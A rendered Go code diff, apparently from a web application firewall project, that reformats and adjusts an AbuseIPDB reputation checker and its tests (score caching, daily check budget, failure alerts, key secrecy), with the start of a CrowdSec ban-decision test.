delete(a.checking, client)
|
||||||
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
a.scores.Add(
|
a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
|
||||||
client,
|
|
||||||
Score{Client: client, Score: score, Fetched: now},
|
|
||||||
)
|
|
||||||
} else {
|
} else {
|
||||||
a.failures++
|
a.failures++
|
||||||
a.retryAt = now.Add(failureDelay)
|
a.retryAt = now.Add(failureDelay)
|
||||||
@@ -292,10 +270,7 @@ func (a *AbuseIPDB) check(
|
|||||||
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key
|
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key
|
||||||
// in the header Key. An answer other than 200, one that gives no score,
|
// in the header Key. An answer other than 200, one that gives no score,
|
||||||
// and none within Timeout, fail.
|
// and none within Timeout, fail.
|
||||||
func (a *AbuseIPDB) ask(
|
func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
|
||||||
ctx context.Context,
|
|
||||||
addr netip.Addr,
|
|
||||||
) (int64, error) {
|
|
||||||
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
|
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
@@ -331,8 +306,7 @@ func (a *AbuseIPDB) ask(
|
|||||||
} `json:"data"`
|
} `json:"data"`
|
||||||
}
|
}
|
||||||
|
|
||||||
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).
|
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
|
||||||
Decode(&answer)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, fmt.Errorf("read the answer: %w", err)
|
return 0, fmt.Errorf("read the answer: %w", err)
|
||||||
}
|
}
|
||||||
@@ -350,11 +324,5 @@ func (a *AbuseIPDB) alert(reason string, err error) {
|
|||||||
// Raised before it is logged, so that the alert is there once the log
|
// Raised before it is logged, so that the alert is there once the log
|
||||||
// line is.
|
// line is.
|
||||||
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
|
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
|
||||||
a.params.ProcessLog.Warn(
|
a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
|
||||||
reason,
|
|
||||||
"source",
|
|
||||||
AbuseIPDBSource,
|
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
@@ -17,7 +17,6 @@ import (
|
|||||||
"testing/synctest"
|
"testing/synctest"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"cloud.google.com/go/civil"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
@@ -41,9 +40,7 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
abuseIPDB := &abuseIPDBStandIn{
|
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
||||||
scores: map[string]int64{suspect: 100},
|
|
||||||
}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
||||||
|
|
||||||
// A client that has committed no offence is not checked.
|
// A client that has committed no offence is not checked.
|
||||||
@@ -62,9 +59,7 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
|
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -72,15 +67,10 @@ func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
|
|||||||
// it of its own.
|
// it of its own.
|
||||||
var addresses []string
|
var addresses []string
|
||||||
for i := 1; i < 16; i++ {
|
for i := 1; i < 16; i++ {
|
||||||
addresses = append(
|
addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
|
||||||
addresses,
|
|
||||||
fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{
|
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
|
||||||
scores: map[string]int64{addresses[0]: 100},
|
|
||||||
}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
||||||
|
|
||||||
// A request from each has the client checked once, by the first.
|
// A request from each has the client checked once, by the first.
|
||||||
@@ -105,11 +95,7 @@ func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
scores := map[string]int64{
|
scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
|
||||||
"192.0.2.74": 74,
|
|
||||||
"192.0.2.75": 75,
|
|
||||||
"192.0.2.100": 100,
|
|
||||||
}
|
|
||||||
p := abuseIPDBParams()
|
p := abuseIPDBParams()
|
||||||
p.MinScore = 75
|
p.MinScore = 75
|
||||||
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
|
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
|
||||||
@@ -130,9 +116,7 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
abuseIPDB := &abuseIPDBStandIn{
|
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
||||||
scores: map[string]int64{suspect: 100},
|
|
||||||
}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
||||||
|
|
||||||
hitFrom(t, checker, suspect, true)
|
hitFrom(t, checker, suspect, true)
|
||||||
@@ -156,9 +140,7 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
|
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -169,9 +151,7 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
|
|||||||
p.DailyBudget = 3
|
p.DailyBudget = 3
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
abuseIPDB := &abuseIPDBStandIn{
|
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
||||||
scores: map[string]int64{suspect: 100},
|
|
||||||
}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
|
|
||||||
// At noon, the first three offenders spend the budget, and the
|
// At noon, the first three offenders spend the budget, and the
|
||||||
@@ -192,26 +172,18 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
|
|||||||
// The check that used the budget up raised the alert, and logged it.
|
// The check that used the budget up raised the alert, and logged it.
|
||||||
const usedUp = "the daily budget of AbuseIPDB checks is used up"
|
const usedUp = "the daily budget of AbuseIPDB checks is used up"
|
||||||
|
|
||||||
wantFailureAlert(
|
wantFailureAlert(t, queue, time.Now(), usedUp,
|
||||||
t,
|
"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
|
||||||
queue,
|
|
||||||
time.Now(),
|
|
||||||
usedUp,
|
|
||||||
"3 checks spent; none is made until the day ends at 00:00 UTC",
|
|
||||||
0,
|
|
||||||
)
|
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
|
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
|
||||||
t.Errorf("logged\n%s\nwant the budget used up", log.String())
|
t.Errorf("logged\n%s\nwant the budget used up", log.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
// Restarted with what abuseipdb-scores.json and
|
// Restarted with what reputation.json keeps, it uses the scores, and
|
||||||
// abuseipdb-checks-spent.json keep, it uses the scores, and checks
|
// checks no client until the day ends.
|
||||||
// no client until the day ends.
|
|
||||||
restarted := &abuseIPDBStandIn{}
|
restarted := &abuseIPDBStandIn{}
|
||||||
again := newAbuseIPDB(restarted, p)
|
again := newAbuseIPDB(restarted, p)
|
||||||
again.Load(checker.Snapshot())
|
again.Load(checker.Snapshot())
|
||||||
again.LoadChecksSpent(checker.ChecksSpent())
|
|
||||||
|
|
||||||
wantScore(t, again, suspect, true, 100, true)
|
wantScore(t, again, suspect, true, 100, true)
|
||||||
wantBudgetLeft(t, again, 0)
|
wantBudgetLeft(t, again, 0)
|
||||||
@@ -230,44 +202,7 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
|
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
// A clock 14 hours ahead of UTC, whose day starts at 10:00 UTC.
|
|
||||||
ahead := time.FixedZone("UTC+14", 14*60*60)
|
|
||||||
p := abuseIPDBParams()
|
|
||||||
p.DailyBudget = 1
|
|
||||||
p.Now = func() time.Time { return time.Now().In(ahead) }
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{
|
|
||||||
scores: map[string]int64{suspect: 100},
|
|
||||||
}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
|
||||||
|
|
||||||
// At 09:00 UTC the one check is spent.
|
|
||||||
time.Sleep(9 * time.Hour)
|
|
||||||
hitFrom(t, checker, suspect, true)
|
|
||||||
synctest.Wait()
|
|
||||||
wantBudgetLeft(t, checker, 0)
|
|
||||||
|
|
||||||
// At 11:00 UTC the clock's day has changed, but the UTC day has not.
|
|
||||||
time.Sleep(2 * time.Hour)
|
|
||||||
wantBudgetLeft(t, checker, 0)
|
|
||||||
|
|
||||||
want := civil.Date{Year: 2000, Month: 1, Day: 1}
|
|
||||||
if day := checker.ChecksSpent().Day; day != want {
|
|
||||||
t.Errorf("checks spent on %s, want on %s", day, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
// At 00:00 UTC the budget is whole again.
|
|
||||||
time.Sleep(13 * time.Hour)
|
|
||||||
wantBudgetLeft(t, checker, 1)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -311,10 +246,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
|
|||||||
p.Key = tc.key
|
p.Key = tc.key
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
abuseIPDB := &abuseIPDBStandIn{
|
abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
|
||||||
status: tc.status,
|
|
||||||
body: tc.body,
|
|
||||||
}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
|
|
||||||
// The failure gives no score, and no client is checked within a
|
// The failure gives no score, and no client is checked within a
|
||||||
@@ -333,7 +265,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
|
|||||||
wantChecked(t, abuseIPDB, suspect, other)
|
wantChecked(t, abuseIPDB, suspect, other)
|
||||||
wantFailures(t, checker, 2)
|
wantFailures(t, checker, 2)
|
||||||
|
|
||||||
if scores := checker.Snapshot(); len(scores) != 0 {
|
if scores := checker.Snapshot().Scores; len(scores) != 0 {
|
||||||
t.Errorf("scores %+v, want none", scores)
|
t.Errorf("scores %+v, want none", scores)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -342,11 +274,8 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
|
|||||||
wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
|
wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
|
||||||
"checking a client with AbuseIPDB failed", tc.error, 1)
|
"checking a client with AbuseIPDB failed", tc.error, 1)
|
||||||
|
|
||||||
if !strings.Contains(
|
if !strings.Contains(log.String(), `"msg":"checking a client with `+
|
||||||
log.String(),
|
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
|
||||||
`"msg":"checking a client with `+
|
|
||||||
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error,
|
|
||||||
) {
|
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -354,9 +283,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
|
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -383,14 +310,8 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
|
|||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantFailures(t, checker, 1)
|
wantFailures(t, checker, 1)
|
||||||
wantFailureAlert(
|
wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
|
||||||
t,
|
"check the client: context deadline exceeded", 0)
|
||||||
queue,
|
|
||||||
time.Now(),
|
|
||||||
"checking a client with AbuseIPDB failed",
|
|
||||||
"check the client: context deadline exceeded",
|
|
||||||
0,
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -404,15 +325,10 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
|
|||||||
p := abuseIPDBParams()
|
p := abuseIPDBParams()
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
abuseIPDB := &abuseIPDBStandIn{
|
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
||||||
scores: map[string]int64{suspect: 100},
|
|
||||||
}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
m := metrics.New(1, "app")
|
m := metrics.New(1, "app")
|
||||||
m.AddReputation(
|
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
|
||||||
reputation.New(params()),
|
|
||||||
reputation.NewDNSBL(dnsblParams()),
|
|
||||||
)
|
|
||||||
m.AddAbuseIPDB(checker)
|
m.AddAbuseIPDB(checker)
|
||||||
|
|
||||||
// One check that AbuseIPDB answers, and one it refuses with an answer
|
// One check that AbuseIPDB answers, and one it refuses with an answer
|
||||||
@@ -421,10 +337,7 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantScore(t, checker, suspect, true, 100, true)
|
wantScore(t, checker, suspect, true, 100, true)
|
||||||
|
|
||||||
abuseIPDB.answerWith(
|
abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
|
||||||
http.StatusUnauthorized,
|
|
||||||
`{"errors":[{"detail":"`+key+`"}]}`,
|
|
||||||
)
|
|
||||||
wantScore(t, checker, other, true, 0, false)
|
wantScore(t, checker, other, true, 0, false)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantFailures(t, checker, 1)
|
wantFailures(t, checker, 1)
|
||||||
@@ -449,7 +362,7 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
|
|||||||
|
|
||||||
for name, shown := range map[string]string{
|
for name, shown := range map[string]string{
|
||||||
"the log": log.String(), "the alerts": string(alerted),
|
"the log": log.String(), "the alerts": string(alerted),
|
||||||
"the metrics": scrapeMetrics(t, m), "abuseipdb-scores.json": string(kept),
|
"the metrics": scrapeMetrics(t, m), "reputation.json": string(kept),
|
||||||
} {
|
} {
|
||||||
if strings.Contains(shown, key) {
|
if strings.Contains(shown, key) {
|
||||||
t.Errorf("%s shows the key:\n%s", name, shown)
|
t.Errorf("%s shows the key:\n%s", name, shown)
|
||||||
@@ -467,10 +380,7 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
|
|||||||
p.DailyBudget = 5
|
p.DailyBudget = 5
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
m := metrics.New(1, "app")
|
m := metrics.New(1, "app")
|
||||||
m.AddReputation(
|
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
|
||||||
reputation.New(params()),
|
|
||||||
reputation.NewDNSBL(dnsblParams()),
|
|
||||||
)
|
|
||||||
m.AddAbuseIPDB(checker)
|
m.AddAbuseIPDB(checker)
|
||||||
|
|
||||||
// One check that AbuseIPDB answers, and one that fails.
|
// One check that AbuseIPDB answers, and one that fails.
|
||||||
@@ -515,20 +425,18 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
|
|||||||
Fetched: now.Add(-cacheTTL),
|
Fetched: now.Add(-cacheTTL),
|
||||||
}
|
}
|
||||||
|
|
||||||
checker.Load([]reputation.Score{stale, inUse})
|
checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}})
|
||||||
|
|
||||||
wantScore(t, checker, suspect, false, 100, true)
|
wantScore(t, checker, suspect, false, 100, true)
|
||||||
wantScore(t, checker, other, false, 0, false)
|
wantScore(t, checker, other, false, 0, false)
|
||||||
|
|
||||||
got := checker.Snapshot()
|
got := checker.Snapshot().Scores
|
||||||
if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
|
if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
|
||||||
t.Errorf("scores %+v, want only %+v", got, inUse)
|
t.Errorf("scores %+v, want only %+v", got, inUse)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
|
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
||||||
@@ -536,7 +444,7 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
|
|||||||
p.Now = func() time.Time { return now }
|
p.Now = func() time.Time { return now }
|
||||||
checker := reputation.NewAbuseIPDB(p)
|
checker := reputation.NewAbuseIPDB(p)
|
||||||
|
|
||||||
// 100,001 scores, listed by client, as abuseipdb-scores.json lists them, each
|
// 100,001 scores, listed by client, as reputation.json lists them, each
|
||||||
// fetched a millisecond before the one before it: the last is one too
|
// fetched a millisecond before the one before it: the last is one too
|
||||||
// many.
|
// many.
|
||||||
const count = 100001
|
const count = 100001
|
||||||
@@ -552,15 +460,12 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
|
|||||||
addr = addr.Next()
|
addr = addr.Next()
|
||||||
}
|
}
|
||||||
|
|
||||||
checker.Load(scores)
|
checker.Load(reputation.Checks{Scores: scores})
|
||||||
|
|
||||||
got := checker.Snapshot()
|
got := checker.Snapshot().Scores
|
||||||
if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
|
if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
|
||||||
slices.Contains(got, scores[count-1]) {
|
slices.Contains(got, scores[count-1]) {
|
||||||
t.Errorf(
|
t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
|
||||||
"%d scores kept, want all but the one fetched longest ago",
|
|
||||||
len(got),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -581,9 +486,7 @@ type abuseIPDBStandIn struct {
|
|||||||
|
|
||||||
// RoundTrip has the stand-in answer req, in place of the network. A check
|
// RoundTrip has the stand-in answer req, in place of the network. A check
|
||||||
// abandoned before the stand-in answers fails, as over the network.
|
// abandoned before the stand-in answers fails, as over the network.
|
||||||
func (s *abuseIPDBStandIn) RoundTrip(
|
func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||||
req *http.Request,
|
|
||||||
) (*http.Response, error) {
|
|
||||||
client := req.URL.Query().Get("ipAddress")
|
client := req.URL.Query().Get("ipAddress")
|
||||||
sent := req.Header.Get("Key")
|
sent := req.Header.Get("Key")
|
||||||
|
|
||||||
@@ -603,11 +506,8 @@ func (s *abuseIPDBStandIn) RoundTrip(
|
|||||||
status = http.StatusUnauthorized
|
status = http.StatusUnauthorized
|
||||||
case status == 0:
|
case status == 0:
|
||||||
status = http.StatusOK
|
status = http.StatusOK
|
||||||
body = fmt.Sprintf(
|
body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
|
||||||
`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`,
|
score)
|
||||||
client,
|
|
||||||
score,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return &http.Response{
|
return &http.Response{
|
||||||
@@ -667,25 +567,15 @@ func newAbuseIPDB(
|
|||||||
// wantScore checks the score checker gives client, and whether it is a
|
// wantScore checks the score checker gives client, and whether it is a
|
||||||
// hit, as a request from client finds them, offender or not.
|
// hit, as a request from client finds them, offender or not.
|
||||||
func wantScore(
|
func wantScore(
|
||||||
t *testing.T,
|
t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
|
||||||
checker *reputation.AbuseIPDB,
|
score int64, hit bool,
|
||||||
client string,
|
|
||||||
offender bool,
|
|
||||||
score int64,
|
|
||||||
hit bool,
|
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
gotScore, gotHit := hitFrom(t, checker, client, offender)
|
gotScore, gotHit := hitFrom(t, checker, client, offender)
|
||||||
if gotScore != score || gotHit != hit {
|
if gotScore != score || gotHit != hit {
|
||||||
t.Errorf(
|
t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
|
||||||
"%s has the score %d, a hit %t, want %d, %t",
|
score, hit)
|
||||||
client,
|
|
||||||
gotScore,
|
|
||||||
gotHit,
|
|
||||||
score,
|
|
||||||
hit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -693,10 +583,7 @@ func wantScore(
|
|||||||
// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
|
// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
|
||||||
// as sww counts clients.
|
// as sww counts clients.
|
||||||
func hitFrom(
|
func hitFrom(
|
||||||
t *testing.T,
|
t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
|
||||||
checker *reputation.AbuseIPDB,
|
|
||||||
address string,
|
|
||||||
offender bool,
|
|
||||||
) (int64, bool) {
|
) (int64, bool) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -740,10 +627,7 @@ func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
|
|||||||
// the error failure, and that the cooldown has held back held repeats of
|
// the error failure, and that the cooldown has held back held repeats of
|
||||||
// it.
|
// it.
|
||||||
func wantFailureAlert(
|
func wantFailureAlert(
|
||||||
t *testing.T,
|
t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
|
||||||
queue *alerts.Queue,
|
|
||||||
raised time.Time,
|
|
||||||
reason, failure string,
|
|
||||||
held int64,
|
held int64,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
@@ -753,15 +637,8 @@ func wantFailureAlert(
|
|||||||
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
|
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
|
||||||
got[0].Detail["source"] != reputation.AbuseIPDBSource ||
|
got[0].Detail["source"] != reputation.AbuseIPDBSource ||
|
||||||
got[0].Detail["error"] != failure || queue.Suppressed() != held {
|
got[0].Detail["error"] != failure || queue.Suppressed() != held {
|
||||||
t.Errorf(
|
t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
|
||||||
"alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
|
"and %d", got, queue.Suppressed(), reason, failure, held)
|
||||||
"and %d",
|
|
||||||
got,
|
|
||||||
queue.Suppressed(),
|
|
||||||
reason,
|
|
||||||
failure,
|
|
||||||
held,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -779,11 +656,8 @@ func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
scraped := httptest.NewRecorder()
|
scraped := httptest.NewRecorder()
|
||||||
m.ServeHTTP(
|
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
|
||||||
scraped,
|
http.NoBody))
|
||||||
httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
|
|
||||||
http.NoBody),
|
|
||||||
)
|
|
||||||
|
|
||||||
return scraped.Body.String()
|
return scraped.Body.String()
|
||||||
}
|
}
|
||||||
@@ -37,9 +37,7 @@ const (
|
|||||||
rangeScope = "Range"
|
rangeScope = "Range"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
|
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -50,13 +48,7 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
|
|||||||
// A shorter decision on the same address, which is not the one
|
// A shorter decision on the same address, which is not the one
|
||||||
// used.
|
// used.
|
||||||
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
||||||
{
|
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
|
||||||
rangeScope,
|
|
||||||
"198.51.100.0/24",
|
|
||||||
ban,
|
|
||||||
probing,
|
|
||||||
began.Add(time.Hour),
|
|
||||||
},
|
|
||||||
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
|
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
|
||||||
// Left out: a decision to show a captcha, and one on a country.
|
// Left out: a decision to show a captcha, and one on a country.
|
||||||
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
|
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
|
||||||
@@ -82,28 +74,14 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
|
|||||||
e.set(func(e *engine) { e.failing = true })
|
e.set(func(e *engine) { e.failing = true })
|
